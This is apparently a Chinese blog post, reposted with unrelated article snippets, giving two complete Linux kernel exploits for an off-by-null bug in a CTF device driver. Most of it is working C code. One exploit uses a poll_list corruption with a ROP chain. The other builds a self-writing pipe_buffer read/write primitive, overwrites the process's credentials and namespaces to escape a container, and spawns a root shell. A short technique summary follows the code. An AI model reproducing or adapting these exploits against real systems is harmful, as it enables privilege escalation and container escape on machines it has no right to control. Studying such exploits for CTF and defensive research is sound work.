    puts("[*] Freeing corrupted key...");
    free_key(corrupted_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    *(uint64_t *)&data[0] = target_object - 0x18;

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < 72; i++)
        free_tty(i);

    sleep(1); // GC TTYs

    puts("[*] Spraying pipe_buffer structures...");
    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i);

    puts("[*] Triggering arbitrary free...");
    while (poll_threads != 0) { };

    buff = (char *)calloc(1, 1024);

    // Stack pivot
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;

    puts("[*] Freeing user keys...");
    free_all_keys(false);

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600);

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i);

    // --- 

    for (int i = 0; i < 256; i++)
        pthread_join(poll_tid[i], NULL);
}

第二种利用方式就是直接利用 pipe_buffer 去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;
    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}


struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100

int key_id[SPRAY_PIPE_NUMS];

int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;

int fd;
void off_by_null(){
        char buf[PAGE_SIZE] = { 0 };
        write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;

void construct_first_level_page_uaf() {
        info("Step I - construct first level page uaf");

        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");
                if (i > 4 && (i % 9) == 0 && flag) {
                        char des[16] = { 0 };
                        char val[4096] = { 0 };
                        sprintf(des, "%s%d", "pwn_", i);
                        if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)
                                printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;
                }
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }

/*
        puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                close(pipe_fd[i][0]);
                close(pipe_fd[i][1]);
        }
*/

        puts("[+] Trying to overwrite pipe_buffer.page");
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
        sleep(1);
        off_by_null();

/*
        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");

                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }
*/
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                int nr = -1;
                char tag[16] = { 0 };
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") && i != nr) {
                        orig_idx = nr;
                        victim_idx = i;
                        hexx("orig_idx", orig_idx);
                        hexx("victim_idx", victim_idx);
                }
        }

        if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");
        puts("");

}

void construct_second_level_page_uaf() {
        info("Step II - construct second level page uaf");

        size_t buf[PAGE_SIZE] = { 0 };
        size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);
        read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);

/*
        puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < 130 && flag; i++, k++) {
                char des[16] = { 0 };
                char val[96] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        sleep(1);

        puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }
/*
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
*/
        puts("[+] Checking...");
        read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));
        if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");

        binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));
        hexx("pipe_buffer.page   ", self_pipe_buf.page);
        hexx("pipe_buffer.offset ", self_pipe_buf.offset);
        hexx("pipe_buffer.len    ", self_pipe_buf.len);
        hexx("pipe_buffer.ops    ", self_pipe_buf.ops);
        hexx("pipe_buffer.flags  ", self_pipe_buf.flags);
        hexx("pipe_buffer.private", self_pipe_buf.private);

        write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                int nr = -1;
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (nr < SPRAY_PIPE_NUMS && i != nr) {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        hexx("snd_orig_idx", snd_orig_idx);
                        hexx("snd_victim_idx", snd_victim_idx);
                }
        }

        if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");
        puts("");
}

void construct_self_writing_pipe() {
        info("Step III - construct self writing pipe");
        size_t buf[0x1000] = { 0 };
        struct pipe_buffer evil_pipe_buf;
        struct page* page_ptr;
        int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*
        puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {
                char des[16] = { 0 };
                char val[192] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }

        puts("[+] Checking...");
        puts("[+] construct self writing pipe I");
        memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        evil_pipe_buf.offset = T_PIPE_BUF_SZ;
        evil_pipe_buf.len = T_PIPE_BUF_SZ;
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_1_pipe_idx = i;
                        hexx("self_1_pipe_idx", self_1_pipe_idx);
                        break;
                }
        }
        if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");

        puts("[+] construct self writing pipe II");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_2_pipe_idx = i;
                        hexx("self_2_pipe_idx", self_2_pipe_idx);
                        break;
                }
        }
        if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");

        puts("[+] construct self writing pipe III");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_3_pipe_idx = i;
                        hexx("self_3_pipe_idx", self_3_pipe_idx);
                        break;
                }
        }
        if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");

        puts("");
}


void setup_self_writing_pipe()
{
        info("Step IV - setup self writing pipe system");
        memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));

        self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;
        self_2_pipe_buf.len = 0;
        self_3_pipe_buf.offset = T_PIPE_BUF_SZ;
        self_3_pipe_buf.len = 0;

        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

}

void arb_read(struct page* page_ptr, void* dst, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0x1000;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        read(pipe_fd[self_1_pipe_idx][0], dst, len);
}

void arb_write(struct page* page_ptr, void* src, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        write(pipe_fd[self_1_pipe_idx][1], src, len);
}


void pwn()
{
        info("NO PWN NO FUN");
        size_t buf[0x1000];
        puts("[+] Leaking vmemmap base and kernel offset by arb_read");
        vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;
        int f = 10;
        for (;;)
        {
                arb_read(vmemmap_base+157*0x40, buf, 8);
                if (f)
                {
                        hexx("data", buf[0]);
                        f--;
                }
                if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040)
                {
                        kernel_base = buf[0] - 0x040;
                        kernel_offset = kernel_base - 0xffffffff81000000;
                        break;
                }
                vmemmap_base -= 0x10000000;
        }

        hexx("vmemmap_base", vmemmap_base);
        hexx("kernel_base", kernel_base);
        hexx("kernel_offset", kernel_offset);

        puts("[+] Searching for task_struct");
        uint64_t parent_task, current_task;
        uint64_t* comm_addr = NULL;
        size_t base = 0xffff000000000000;

        for (int i = 0; ; i++)
        {
                memset(buf, 0, sizeof(buf));
                arb_read(vmemmap_base+i*0x40, buf, 0xff0);
                comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);
                if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base)
                {
                //      parent_task = comm_addr[-56];
                        current_task = comm_addr[-49] - 0x528;
                        page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;
                        page_offset_base &= 0xfffffffff0000000;
                        break;
                }
        }

//      hexx("parent_task", parent_task);
        hexx("current_task", current_task);
        hexx("page_offset_base", page_offset_base);

/*
        size_t cinit_task = current_task;
        size_t pid_offset = 0x4e0 / 8;
        size_t real_parent_offset = 0x4f0 / 8;
        for (int i = 0; ; i++){
                memset(buf, 0, sizeof(buf));
                size_t look_page = direct_map_addr_to_page_addr(cinit_task);
                arb_read(look_page, buf, 0xff0);
                arb_read(look_page+0x40, &buf[512], 0xff0);
                size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
                if ((look_buf[pid_offset] & 0xffffffff) == 1) {
                        break;
                }

                cinit_task = look_buf[real_parent_offset];
        }

        hexx("cinit_task", cinit_task);
*/
        puts("[+] Elevating privileges and Escaping container");
        init_fs   = 0xffffffff82589740 + kernel_offset;
        init_task = 0xffffffff82415940 + kernel_offset;
        init_cred = 0xffffffff8245a960 + kernel_offset;
        init_nsproxy = 0xffffffff8245a720 + kernel_offset;
        hexx("init_fs", init_fs);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);
        hexx("init_nsproxy", init_nsproxy);

        memset(buf, 0, sizeof(buf));
        size_t current_task_page = direct_map_addr_to_page_addr(current_task);
        arb_read(current_task_page, buf, 0xff0);
        arb_read(current_task_page+0x40, &buf[512], 0xff0);

        size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(current_task_page, buf, 0xff0);
        arb_write(current_task_page+0x40, &buf[512], 0xff0);

/*      memset(buf, 0, sizeof(buf));
        size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);
        arb_read(cinit_task_page, buf, 0xff0);
        arb_read(cinit_task_page+0x40, &buf[512], 0xff0);

        tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(cinit_task_page, buf, 0xff0);
        arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/
        hexx("UID", getuid());
        system("/bin/sh");
        while(1) {}
}

int main(int argc, char** argv, char** envp) {

        bind_core(0);
        save_status();
        fd = open("/proc_rw/cormon", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");
        if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");

        construct_first_level_page_uaf();
        construct_second_level_page_uaf();
        construct_self_writing_pipe();
        setup_self_writing_pipe();
        pwn();
//      getchar();
        puts("[~] EXP NERVER END!");
        return 0;
}

效果如下:成功率也还行,最后可以成功提权逃逸
在这里插入图片描述

总结

总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑去构造 UAF 了。

比如在 poll_list 利用方式中:

  • 先堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

这里笔者存在一个问题,这种方式是不是只能针对 4096 大小的 off by null 呢?因为只有 poll_list 链的最后一个 poll_list 的大小才是可以控制的

  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

pipe_buffer 构造自写管道也是一样的,pipe_buffer.page 指向的是一个 struct page 结构体,而该结构体大小为 0x40,所以其低字节可能为 0x400x800xc00x00

总的来说感觉利用 pipe_buffer 构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer,并且 pipe_buffer 的大小是可以通过 fcntl 修改的,并且其只需要一次 off by null 即可(当然 poll_list 利用方式也是只需要一次),所以似乎其也更加通用。

当然这里还是得讨论下另一个女友 msg_msg 了。在 CVE-2021-22555 中,msg_msg + sk_buf + pipe_buffer 仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null 呢?在原 CVE 的利用中,从消息是堆喷的 1024 大小,其低字节恒为 \x00,所以此时 off by null 似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF,所以我们可以选择 kmalloc-8 ~ kmalloc-192 之间的 object 作为从消息去构造 kmalloc-8 ~ kmalloc-192UAF,比如这里就i可以选择 kmalloc-32 即利用 user_key_payload 去泄漏相关信息,并且观察 user_key_payloadmsg_msg 结构体你会发现,我们可以通过 setxattr 去控制 user_key_payload 的头 8 字节为 null也就是说可以控制 msg_msg 的头 8 字节,然后 msg_msg.nextuser_key_payloaddata 域,所以可以控制 msg_msg.next 从而可以构造任意释放原语。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/403841.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何在rust中输出日志:在rust中打印日志的各种方式对比

有许多库可以在 Rust 中输出日志&#xff0c;有时很难选择该使用哪一个。当 println! 、 dbg! 和 eprintln! 无法解决问题时&#xff0c;找到一种方便记录日志的方法就很重要&#xff0c;尤其是在生产级应用程序中。本文将帮助您深入了解在 Rust 日志记录方面最适合您的用例的日…

什么是Elasticsearch SQL

什么是Elasticsearch SQL 一. 介绍二. SQL 入门 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&#xff1a;神的孩子都在歌唱 一. 介绍 Elasticsearch SQL 是一个 X-Pack 组件&#xff0c;允许针对 Elasticsea…

OpenAI文生视频大模型Sora概述

Sora&#xff0c;美国人工智能研究公司OpenAI发布的人工智能文生视频大模型&#xff08;但OpenAI并未单纯将其视为视频模型&#xff0c;而是作为“世界模拟器” &#xff09;&#xff0c;于2024年2月15日&#xff08;美国当地时间&#xff09;正式对外发布。 Sora可以根据用户…

张驰咨询:餐饮业如何通过六西格玛培训增加利润

在当前的餐饮业&#xff0c;企业面临着一系列挑战&#xff0c;这些挑战可能会阻碍业务的成长和盈利能力。六西格玛培训提供了一套解决方案&#xff0c;能够帮助企业克服这些困境。让我们深入探讨一下餐饮业的具体困境以及六西格玛如何提供帮助。 一、餐饮业的挑战 顾客满意度…

localhost和127.0.0.1的区别是什么?

localhost和127.0.0.1的区别是什么&#xff1f; 前端同学本地调试的时候&#xff0c;应该没少和localhost打交道吧&#xff0c;只需要执行 npm run 就能在浏览器中打开你的页面窗口&#xff0c;地址栏显示的就是这个 http://localhost:xxx/index.html 可能大家只是用&#xff…

跨越千年医学对话:用AI技术解锁中医古籍知识,构建能够精准问答的智能语言模型,成就专业级古籍解读助手(LLAMA)

跨越千年医学对话&#xff1a;用AI技术解锁中医古籍知识&#xff0c;构建能够精准问答的智能语言模型&#xff0c;成就专业级古籍解读助手&#xff08;LLAMA&#xff09; 介绍&#xff1a;首先在 Ziya-LLaMA-13B-V1基线模型的基础上加入中医教材、中医各类网站数据等语料库&am…

JavaScript中的内存泄漏

一、是什么 内存泄漏&#xff08;Memory leak&#xff09;是在计算机科学中&#xff0c;由于疏忽或错误造成程序未能释放已经不再使用的内存 并非指内存在物理上的消失&#xff0c;而是应用程序分配某段内存后&#xff0c;由于设计错误&#xff0c;导致在释放该段内存之前就失…

目前最先进的家庭取暖设备 南方取暖用什么电器好

在寒冷的冬季&#xff0c;家庭取暖成为了每个人关注的焦点。为了迎合消费者对舒适取暖环境的需求&#xff0c;市场上涌现出了多种家庭取暖设备。其中&#xff0c;取暖器成为目前最先进的家庭取暖设备之一。小编将向大家推荐五个顶尖品牌的取暖器。 1. 斯帝沃取暖器 英国斯帝沃&…

【寸铁的刷题笔记】树、dfs、bfs、回溯、递归(一)

